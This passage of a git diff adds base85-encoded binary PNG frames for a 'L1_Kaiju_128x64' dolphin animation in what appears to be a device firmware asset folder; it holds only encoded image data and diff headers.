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 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_16.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_16.png new file mode 100644 index 0000000000000000000000000000000000000000..fc7b76696c1140ed9f17af4fcccc840e8a07b32b GIT binary patch literal 1158 zcmV;11bO?3P)%JcTp? zv{oW`0;vKh&L>>}6$Q?wBEZL4B7lkl=TZ^i<17#h&}*D43Q5 ztaiR+Bf<%sjqyIQ2q4*b)e?|})&bP-S%W;Qqe4ch;l~r zASch7RY1pQh>!KmS2wa$jm*8CyVB4ljV zTCR;<3)+hu*ZR{iC1a9FJsa$RT05e!oa~=7bDXpYkby`2vk`!s{n-CK`vII?s~s!# zN|+J2rdy&M7ddwA3A|bWSxb;r1l;c)=SMEDk7)(ZK5+D`f==+f_po#3ca9f8L>8X` z*Z+sd!Q-*>DO=i?OuS=rqyR9dpIlLB*7otUlt^+msNcLoI7R@c&U9}>%X*Au3BZmW z_e3n?w^aaIr;lN@AB(NO8e1o#T}~`Ev}3SL0Nf^t7AgD9+T0D*ez=Wwf3ADtp(Qp z+QiNh_NnhiTiZH;vvurO;ns0&-QPcBc9(4i&2C^oo*Moou<%S}@*S*G$aOsX@m3Lp zz7$G5r1re1T|Mv4nCChpTpplt4CibJ)$XRE3q@!S;E4#)4wCi{qKULW8{WCnlp-Yw zv~GxSzhkz&_MU{d#vetXiaL=?z<-8~2@U+sixh^Vu!QxfjU#L0ND~Rf2w+)*v}i+_ zl~uD};{>i%JcCsP(ml8%fRt!p7qqs0IU5)&mIrU58$rgk-8lePl3-*cO3}8x*Iz}( zwWqg($7G`e*B_6AqMhnpR^Con6@Zl>{rlov!utRbjyH9(UR3(+ApDJ>S!b+h+7$oz Y1sh6G!Jt?Yg#Z8m07*qoM6N<$g7uaj0ssI2 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_17.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_17.png new file mode 100644 index 0000000000000000000000000000000000000000..013e2008a2f51e46a24ea78341d0916c5c7483fb GIT binary patch literal 1161 zcmV;41a|w0P)3~9W2H_#2~le4-xjm4|1^Uy6C#DKO!8|2b2Ie4hi-_3IT`?33fpm z0f-I>c0eit4(cPF0LKc{#<2h|2c!-#!fge1uMf1AEV>uuSP?8Cz_*|kRD{r#lwp|* z__kPJc0ZMbPjq5{5WFO)CVZkpfH15is3?4*Lx9)ggJ=i;4c5^FK73V8h(g;}R5iDFi@o(rRI(>#7}kC4_@Oez;EwKYNVXIjXzI z^dJxkZJyCVXPMtN$khsA70o|U@fg4pTxnIf-I4jc#WVqU2C$mlQr+PREz`6=az6aC z8CJwi0IlRJy{~Dn1kXk*nATg^JS#v5zI_i3Hvyy#c{Xi1lxn8iVr5zqv_E@D&`TZL zInh=C9s}^8Xf_Y7R9g1#197X^D%YC&Xc#I*tZ+M7PqTa1poA|4w&=4skA@A<3WEoA zmM$oF3)&p~^$Mgv8ipLJ0-<^&u($+^)p(*-aBc~kfH%F8N2JgoWmlG1q=%9O z=n4I)0C2XRF}lX$0<6M}#1dr)u!E)}Ve$W?8%(74Jb07K3SZOy$Xe0~5KUFuP4bPdbQPn6_6ou(d}+LPt_TUz34qX& zb}TLZ(a452vsrF|&q1VT6Vbhv2?9B!f(ZZ4f8PUANLI}o5oDH-()_c8ELjRhXlqtr z#hW`?gGgGJMMzqq2-%5*J{^pJrxa=(Cu@tnwf5YSX39O#K3g^jw8EoBmCzGP&njqU z+S5?t^R(}k3<5_$G&G)uR>0vkj27ITNYH}ZZ3{sb!S6(h*0?J6O-jWS?04oJ^-}DV#zBd5c3*afpEIitOQok7Bb%3ZaG6j0v b!2kFKs(*8sivuK+00000NkvXXu0mjf#}Wg} literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_18.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_18.png new file mode 100644 index 0000000000000000000000000000000000000000..795120e772fed8932017fd12c20a30b2fc3ab5be GIT binary patch literal 828 zcmV-C1H=4@P)m_ptak6Zugwsr>A z03Kq^ZIuyzfiytx-Bp}2!Y^=LfVcRRF-99>sDsJffil3C;!{pG0gM5n#GjmM0vH1z zaH0ty3=kdtClhV}H1SW%0^tTg8UQW&Poy${fF%p`-qUA_u$jQ@(Vu<)CzSyn zu#5Pul>t<^GO&~Qtpyoiw;wSxl>u(BqjAdshf@YHvSakO7GQu~f5@y<1~4!?f$Wn$ z9Ay9_yIwt11~9O5$tnXJ&Zh>*Iskl|_K{B-L0%S)2EB~@j)B+9&JhEk3}E1H^h*CX zn1e_p6O;iAP{FSLOtK10&4VQTWq>~*tN5*z0aWg`eA&cr?V}Qq^~bTY)_;oDEm+p`rp5p-u#EEGEc=2g z0S};~e0r*Q?E)ku@gq8fGQdrySW@J#ts(bWX<38`sstF(W&ox7p8@v_u)_e5i+Z|z zKIgE^97YbGQb0@VoAbskso!Yu(#ISzcG6WpjacHn1DYlI&$5tLbcO)Rc{UmfQf=}%1LLA8MwSW~oR;s-Gx$^Z(IU~AN0 z)p+_jZdv4|V$}sGXo6Vo9l*WMjr=2VGXP?`dy9014|fI7m9QvR3qh0s?!eK^L({aD z{;k{Mwi`jX0i=V^m_fMNzWHboI>HRF_X$L(k8k15A4u!b_VCN&h8_e)Wq^q66J>%h z17u6_)-=wsjvubpTc3O4Vt{PoQlyhN^YQI*SxrE{)6)np=K`*ND0G8(?H^*d6W#?N z;x!tN7Mlb9CQ(tHzz$uA1?VoI@aNABphY-(?O!<|3;YKcOHj7tfv;Tv0000FYewfNbI zDWw#ETYlcI0C*P&z&Q|rb07fcKmg8x0GtB>I0pi74g}yF2*5cIfO8-K=Rg3?fdHHX z0XXOP?Fx7!#@Ky+_wft}U@>)va~+(^?-Bw8u!yG}nah{LSt$kxKpCwFF0Wtd3J`!I zF~%jGRJwxp{V@wrVpZptq?Fh}?n3qSw_DWz^BTZsM;AOMyXQ?HYN00h(`I3@Zu#0dd72LcdcH5EVr&Vc|1 zIn4!Toe2UEviqRMF0dUepd9s|<^Z$60S2+=0B!}4mwF`;UFO*n9bjf0;4%f&3ptYf zo*UWPbkMy6gut)+=kn!GE4XujUi6nyF1f}6ZXF;~N55p<-%=WIFMv$$)LZlX(>l9I z0n&!4k6-t8{j5v}O$(qkx^Ic0{uIuQ4)7GSDS(PzD#y3R0v?25Rsb1kC${o``Pixu z%nP73sB5_ZSN;Y!cv45R0^kO5Ww{z^^T(nam=!>Y#098p^6%w!R%QSpgb?$846&r@ zn%-ybCG&o%o1DOCKYmRE>rt>3sOcb=+spDdiD0CTUk=clFW>OSd$isUC3dQ#TPftk zb{VM`xe(N96zaLtY31{}^CdfhnHy#VQa%FU?4NRn)5Xv`&c%K62DL#%{q08njR8X7 z?SI$z*Jwfsp_lqB?*e9;DWJ}8T%&Mh-h$fH=`95H)&<_o`6FYpk-CaDgCr4h+5mF2 zvrZ9h3&|msrws1~mJv_ce{TTUdS08_y{N{UZNwd}z-?;HzV_61u+;u{3WDqW+gM$H zmGc0j_P=V1Nlo$UGNaMc+97P+b2l0;pnf3aNwjOtDtgy&=lq`B`(%faieveSpix0c vr=qj(J9^jXwlmOQYjA7-TT@P>=R##Ln0S>~Ba{48}A=q`7@^@B%6tCz) zdLD2uiq6Co0VKt~@0+f0Bq{nb!FC$RFab2>X9Ja~wL6^{yS?L34se?Ct7S+s`&ZQ% zt1z7dXvk)^CCgJl)?E5HR92TgGRAJ}f1UvX?67`oyw;k!iCOcK6wgtW>{f@iR1dJK z^2aSu`h5mG#q+ghlfaUNkP<-}0s2H%mw&5VsJ8hM;i^tOp2x{R8Ubi5{5rfa$DdKl zN4x-)#g)A}FGvjmKT-MFA%@E5KS#%)eMUn<*(o3kE3HBDV(9pY7toYX`=cHpi%1~? z@N@6ZBTR*5_V3l}vOFakLbT`6Py!J^Q@G@U_(XVH3+TpkSs6;pP&#@FkoJrAv*c(Y zO7ke*Tp$7I`Pe^(lm4`e-TVky>p6nsZCuomG`Eq;JOx0(hCY_FPhw zcY5&JNbS^cludwajFMmn0r+^5QZx%is*YOBr_VJKX#0449pDQs%PWGc!f54Bd*+1?578RT))0Wk zZeC-^sx?$1T8NSq7doQVl>FUyAjSzFhfe?jSw4+NO8_$D;_a zJ9dwPpYyfNM{^-d`4+UQqlIG%K~AtYi3$I zJxNr7BYk^+P3e(@@Q6CV0US&N8V)RsC|@E$Z);%-0npp5uY#7ZNBVi_ZM;jd<8lB? z@uSuvjWLoyRlthHo@2fg*d6Sw~C@i1m-=BQt$HxE=t#z>xZ!W|>v+ zO0Oq+sScL_(U?BF*hv2qHa4RC)$>KX#&8H|?fLa6q+SQlusqs#S8|CSdn-^ecFF$<+#Q!Iv2$$|V;}Lskt?kK yLdN#b4ZO4o3>$ zaHIeZL#?JNQUHg6mx(EW!;u0w94UYg1dsDAqyRn;mhIpaz>8p6xl!CHfEQur_i`F{ z3Sc2-u5d3>01FYd!Xt&00@x6dq2fD?=|GIEMD*~6_b>_iTnfMdZt&Iw_f9aOM)j_C zR9qVyAC zhWDKUco8&1TS`hUEX@Pd>lAan`y$OZNw?BH*rB zTDh(3-q_Ig2my?4$5Kc?{H$D~iJRu8rE3iq;~(PzqR{dXh;dq+t?XTDQNAAUaRPXH zOO^sj)U>w6sokF*p!|3HJjoj6^Nz_HyERxn$(90$T*Xla9Qnd1%J_9Gs3$39(=yOH z(JjHyGR{(BXtB@T!sV}eb>9eE8=i@_oK1KkVku9%l zJkmYf6L^hZxgv~T3g-4HwiZBda(KP&nNWl~0ujdd@NAg_R9Ge_+F;SpvUe{JDx$3g z-~~T0zf8-yJ9bTd)>TGbkDvg%qN7P8O=J57SFH%xNC2{9|0|%qpP}Q zd~ITBb+8I8qm6twz+Vpy0WA^C=%cskf%MyRu}^Fv_l$Va>_}-YTxd6&z-U*b9%Cl?KKpwQXJu7}RzD5Ey8k+DTJVPM>HE`slT4JM= zFIYKN0ySD|j27d&asaMCWFjqb3+*3?jap2Ph_4h;6#{CsR$mt54|xDd1oi*uxX=6b z#70e&Qtsl(vLimHls|br0Ke8+Qx3oI6s>S#{qe_BC`=5c9+xJ!h8qe@P0C#`&I?63duw?M)gn8WlOtd@!S_L3H zumHR+Ju(5LeOru=PMl?Bt-?qZ(0cy2y$M^Sp*{^GxdsY}pXOb?WVLH-q5YQxu2lCf zn3>D;K=UfZn^{G$<%yst@btn!JFbH(2{{JuM9!{J%3V5)=cDg&#s!i(H*x+G8 zy1nlEzMF&Vx>~1+*_Mv4>w>PA*UEFFcA<7=j*-y^YA1cxn!R2Y-l!ox%q|p-!viLx z&*<2v_vv9|EGPhGCxKkQ)A`bdpM=+L0|>jFPe9WZ($5ou31Wa1;LhK@c+v5#pxHeS z1V;pbbp8{-?ev_yiq%Fp&UO*_ROh4frFJKzHw{ZfpoMRDKF6tnuq_2dYXo%7YGjYe z1L1@qcZc72^Pb=;adO>hq*WOCtw_$b%SKJX;%uDB%RsyqW-Rm!F5mEM|b|(s4S%&6VUJBNt zyy7^Emc7N3?M~M%eC@X|z)EC4d_m~>w4IM&%j00#ws$;((b~h#XAdjCjQSA(+JzO7 zjZkXl_!$ekyKEc5)NNpO-J9Nf@RX~3?;U5)<4Hk)V3`JpIz*#xi_X2{iazhf@iEDvyvT#Eo=P??nTmLacb3XM|`Bd!5;A>>9T?A$TShT$2t6ksV zs48eFg9n3EK(qW5z6*$yXrmMr*`=c*@SB3m3I^?*HSeLj0FMP`Z)YNpU!`5zv9#xe zRN$4gN8ts7*9O)AoMt>0hzc}~o{-d{6*a6esQqsAHb+G;3_T3e;2Ad~+B7G6{m8NS z^&S)K-ucM-tO{1X7SR6&%AKz3g?fy4-S>Taw+^TS zJt3IQ4BDi<;~ouK$DZBD-OFqM^z4d4v*jf}@bZrL%CDC@KPv7JSa$>3aa06)DZmQ~ zRJ_eV&XJF8`NXs9BL!GFy{7|sTbT+fp($MX+S|>tFK-MjooMN$g8p061KqMyYcKKA zC`A)hNDx@a)&$m=){a0`z19Yu`z$?2VFfzP1Jyig3h;92%*3-(K`+u#$MerM#>fbQ z?7*;69-jl9_n@W#l0R%nK7EL`G(`kKW?Ph7WOsNRGlqUP6er4eH z#(Qy!*8ccF-fQL#r-`DwmSDY~Wq^@aiE2i$SgVKb)4-_Vvw?sbF2|G3i|%HN0Z!Ba z(&pC2E0IV2NL1AM7LD_B{1q8{Rs*2(tVCoD-^k8D5m{*Td;}Tn!)?iCfC`4t`izY6 z?k#%MU`r78#LTGkBl#`@k5VnCN7kysW{IU5Koew^3YAg2;+Dz72+Q@Hj#^3rLQpkE9HH&_(OXCqCk0Fvx+1Uw zTD8h+TV>%_fC4S0Nh!7#ifuj0000007*qoM6N<$g86IQM*si- literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_22.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_22.png new file mode 100644 index 0000000000000000000000000000000000000000..d23ee492b07b731fde5b3b7f4847ea499e4e23c1 GIT binary patch literal 1685 zcmV;G25R|&qnJ%ymHr^`B z9Ai8qf#>->ea@L#2E$GM7H{bpTGkzVf59mIV4P6?F8nuuCcd-s#~9Bdz_`9^fWlPbTZuX`k-CDV;gzpAY?A z^Z?wNwUIK6%twzBe+?+UoZkA`17Dk&>&ZjULXuOXDW22wJWu6NBq7k_7h!`+unZ%5 z$oxPlUF{sab(TC5{fzNja#;M|*&9gV9bQ%GmD@w-X=^06Y2A2@egu{wTYJ#LfyQ4` zJf&yhU2(&lfyF4RbW3^s8Re-RfcCp|$aGFbah6d;l~3XAQQ~bqkMM_i04fw0u%h(n z;YB@(BwyyhEo9wphMwomx_EVBG8KfnFZ%Hk7Je(K3tZ1E_h%U^A2s@#!Q22hN-8e} zKRf;`x|fy*Sj?oKC4r5VcM;$huZmU2UseH{KEMw5t zMfP$Mk#Ho<$%e6Z72pXt#@Bkixg?9_xkh0PE1{;Y&Av zjVKQwLAvGiJ1Pe^7Bmp_t*|R4vRQ1c0;ElJJV0inUd)%|+vOE99@I)qDKxK|1;hhL zo1j8c!A>Y&lE*q6Eqrv*HK@$`>KQ?D0LqxpoHuC-8vSV?|y_AHYhsxHs^Gr*63G0d5%1 z7`>!SN=PI7ubxx;&jfntB#<{f0F_}k_&&3H_Cl_O_ab1y6NECA=2i~!w(`4(%3i&> zsPlPegtVS%nSWJ4zPXd}SdwE0w6lqx8RBxhGHxacY7mI{jZ^@-*0-ST9VtVX)@u>5 z#xZ(Ljj9LWG9Yo<2&9S!i7MUqZswhAxa;1e7+LX1-7uh4MOKrnB44Qtqyknme=k3% zHgR_0c2bG(0#<`<8AD{B5D(xXd*J9!+Koy=Ym8~ha_9C--$l>xPZ`+hz)8$#BB%*- zLMfkCPTs0!G(bFn6#_cXJ!H$JlSZKNLzl}OSvrs$KoTOdp0|&+ma>&gM0s%+7`VCq?~|`o~Nwv@BqmH5Vwi*U2-j0wLzMyy?mnEREwZPJN)MXP*_UcQU08S zX84w&?lyvomxTOV!Sq%m6+!7C+oY15XahoAqU_qrS-j}Ns@tNsn!5Q8xTipd04ito zRz|84Y5X*_J%FU}j*G7*b%+~`pmDpgrJbMleY+2!HEuZb3Qko4Ram^OMo^XqQZ5eY z{}+%+in8=}RRL%qqe2I1@EUe{xOb;%;k9TZO`hA0 zpk3uz)e|6<&BM49*56$PR1>yrZsBF!{CBGi)7~G@gf?4MaDH9GMCCSKE@!?A@LIbI z89{g5xCl*&x7SavqOyLMtGA4x6#~Z4ZzsCW_6`Tdzk2h~)yS#JCL97Z@c5#A$LB|( z&5wi-I`Z$e`TV<6i7XEtoJxhyTCbua>!M-i03C4UN|wFzkWnGv z1m9|2RPh!(KbsF&3(~F5Djoe!;UrEPP6b>(SPoz*{zeja3y2qAJ9+UnZ3FNWf9p-% fcS9$RcX<5*G3~Up?wLwo00000NkvXXu0mjfNd6$@ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_23.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_23.png new file mode 100644 index 0000000000000000000000000000000000000000..9d368900c94f1a6dd069d22c2a5f79cc5ce0d497 GIT binary patch literal 1680 zcmV;B251O}g^0MJHLB< z3T^4WCj4FWt?PVoT;n$fXw$y$dyC~q*A)f*J%``>(H`JQbouva{v!LPR(@UA$4m17 zuX!_am6*uP?_N*Rw}hZs*Gl@@eM#UN|6_c602C9ug>X{&qR3c!R{7~w61=6n6K}Ky zdiT*DpmV5ErIYAO{789#Hdfn5RtYul6A}IxV_f%r-<3n5ge5m5eeSqhzOHqs-o`WZ zC828P;LWr6@y2O;*XBeO0OkQWV{}sy3)40ewH}GKHrBE@iT?;660N8ZxMD?UMU}udAv*Q6eN?=+2uEZ}wLkeA)wX)k+WnBB|1lIlGlKIG{OzS8iFGqt=HKem8-v z2*a9N6>enz)v5sYGl3G(itwyzVJCKY9Ewh*(m9{^T);vmagms*RuNs{pDOnxFBnC1 zEXp|Ekp(J5v>H5$&LN_J^gdqrlkz4H2;N>9H=}_jd0J+l#cAPp(Mg&!@RDl}uepeI z9m9U$Gw*wOLIzI}{>oec8KSB@zE=~kZt_(8MnVfA-JDCKL)VR--6LCUhMw)3&?`pTo0lZ5|!V->*Q{cp-g&RmfHW zokS_SS9(5@!XiA3#h0g0$2x(P5)etZI=7P4cl5}b$3e%e(4cY_vq_8svOE2;nlyb40%do_<0BZ2e*GT@~U3SC~SRe;s# z>0(E}0@4S_)YO%A=X(j2O;_C|r)%w%^Zk^vkK;84=H~(E3!w1-ZU<~;w*G}u~^zxDD8UT_XsZqt(e`osW9A1ky(&Rba2tur- zb>p4@w-eYEKs8~DDi?ikJqzHUt=vJficE*nc06>mdn z-S_?VKZ8=#9Y|K475Y!>`%~;xoC^Nw1fmy~1b-rlJB6K(e-Y=}Rsc`%Pi>Ao4HaP` ayv-jxa^1*R%sztv00001vA}yFDaTPfG_w8 zsoK{V;~EKE*Vpvd>y=rS#^fXMdcD5!x904W?Ue2(`G07Xn(z!B!5Y7=>vlu^Cfw=( z+USwNuIu_SZW((1{Lc|EyyqsNPmS#QX&7mo`I0pCD}pso($wQ!ojbaBo*DkpOX4*S z_5j*I-dIFG;*ZepWCN@JIGJ4#p57kF3@Yaw$pBWwdt>ui;ja~z(8_o9?$X<_?|P5r z{>t~?^!Qr)|Ago%86xu|Zr6s{8i2!HRX)1#CLbykbF*3F`eKC}Hq zWcWG0a;#6s2%ho14Pm6gh(8ixk`9tqGw`yLH`j7151#H_&@zA)YPaz<|Be$#IT@Jr z!`j>AYh@r!AEEv3)+ogIQsBO`7e*9p4i<4z}NX8;K+%Dg#uX8?;<7uo2y z)}IEw2Us})GXqHe^652xQcjN+!x1Ww@?{*s(kJ7Hty2KPP_JcX052%JKoz=Fjqn#*zm79F%9 z&6YP0lpbK#Eh&($$$CDsfm>}*gsgL)MAVb4GA#R=>a^iTQzUivupfnEoSxuQ;tdZ$!KQ)1hP+v=E%8!N(MljYKP;Y zpxpyRV>;3!8nd7H?Z&UjY|YO&hTLn^sXkFU)=y8NYzaV=xWfrLWx!gC(9yc-hB;a% z=U3(atQcvbDyT*SyDmQsk#4Bo-CpB^Fj~z)OF#zN_^1PQo#wYXT{#1wi?aDLGv%|?MG~aV!^c;ipyKBx!6lO-#oHGew7p1GN5x#MBz#v zy#|#F$ucWYdVp2xL)KfVT5nLawhBvDFB4@^y#TZ1+LcKt_W%r7&6>;#NEz8B%WCsI zhnezwFOLo*6Qc4{dVnW>F#ZkDLOkV3YtWm7?>rPL0-nZ%qcC zY+3%49)JbSGkXd^qcnSLMXq+O9%jXV=l-Il@#xsc-IDO;hZD=KHGUdtAe#||91sPdU3Fy+T8U!g{nPBRoQV!p9Vf0)< zra_jXx|}de05fB)dLZwZwhNIHSYuo60e0NZtx&yoWypx$99DT{b<1Reb`KyMA^BM+ ztxEnoNfvJ1j?(??0J) zbd4x7SL=~J;p9aS3sy<2g4s~JH-TLP>}tNO+pVYs==WY`%AS`i`Z3b~DW?v5fJkub z3KYSvFF-Qo>I9yene;xjO28O?bXISs^m@r>B?pr~!gGbH6YO#v^Bw>#0TEG6-1UJbyC>a5Z4zE$ktwBuy4<=a3>*fRVbP262LdFRjA*R}(! k4F9CdkSF8hZK34#AGJsPjXYbvdH?_b07*qoM6N<$f=y#C>i_@% literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_25.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_25.png new file mode 100644 index 0000000000000000000000000000000000000000..b40333654f83c6ccda04cbb4020621e79e7dfbdb GIT binary patch literal 1658 zcmV-=28H>FP)+!UnaoYS@m7gp+d$;h0t>nNG@)Lx(?w`-+ z8$TXTavz={JsIN$pjqu*!qSw@4Z-78<8yfw%NU+$2-3)3>x<~!T2Q-7L1-tXLq9W@ zUzR|YGOe-J{^effe!Z)@_so9f^Tp$JU3Ae<4xlMNG7m*xj<@Dm>uKR>=gs8!4qx6J zZ@d?7r7nnw-s?g1t`U^uBm**e>f9srcYJVILW;sl2zTCNmwQ+|N?xP;wRn2}X61W| z*Vf3u;widT#*=EawD4)|*W;<>0e0h%%Foc>ZCb7&1s+A^;sN+)ITq;&Ec#0b)foH)RJ_3Q03Aba=Kw^p-Z*FWDIVZInjV12 zeo4abT!9lFKz=@npKgGy9H4>;5Ad6CdOvLsz>^Vv8hKpS#-lwz7Ed;u3~yfI9YHGx zSdhfD#85Ja@BrD(?)ZKZ_@^7+~Z~e@c_GLd{bx- zu<)BI0`5UAXbE>^|LwPdoB@kT>CUE%;3q>$%04o`j*LtQIfpzbCAU<|ls9JbK;)G#9a)2Eo znd*cQ+)*WD=|z;B*?U$;N2`Ec7+GVw#)k?W)6gm;qIyNc=S1hfJ$Eech$zNvJJUJ=(tzu&cijRX}#m;tdIuAy|Ue zzOPg-(Xnz~x(Y~*HZTzao}R%=c>H#Z!h_diS!MT5hHpN}xhy?G#W%~!yknP)UnBwbos+BwB0r3D{2#7xK z^a`@Dvhp3D8f_~E@6h!C7Qb5J?(qc40W>Be^JSApcE;p$OA#GjIWJbdo>BBu!dJKz zj3P!aw_H|qhaRfM-Lm*4InLvnyjwP3~hE}o!#q8c9+IiO@WS_N=u%9r13 zCtr@&XnR7}Txm7FMo`HCs+Ek_2RNDoOkpYnWWrPhk@?f|jqU;739OWWNV(JT5KdG9)#R&dz^IcSRkVdymjSJbV_`A7u85b|8Dl4V z&hT#0wSa1>MG!dz)|eO3*Mv;FBe4XI7RaeK@`5GMQ+*SQpX}Og4?sj;PBqeK_dh5I5qeL#@bkw}W9xJ^4f zkK?$G0Iut2`FWm^Z6EuQhL^6i?z%3QOcH-?9mm5X;}j4{}X|7zt#iqyF}1>KhN{S_*^82@b|3c z42PeivFVF`PO+X#dn0F>(7h%PmHj*hYXDr^aqFXDIZ|_2&$#pKtP?!6wexaz7>@vw z@ps$;R0Q4#ZrzfNOCJ({Oe07`dUc;$lYxFuasKT6zd(DZ46XI3c&cPCzY2d%9!`;- z9Ir(PgtwdF=u7l8y;{#D+V6}Jknj%UNBCoekrYGa#I;^<%C(G1`DzhMgB0OB@=?6A z%3locGQPy$b5kT55lAw5X?da&(v_ZRQOJ^|H3CTJFn%Tic?@BNehrzM&(X;2%k1Is 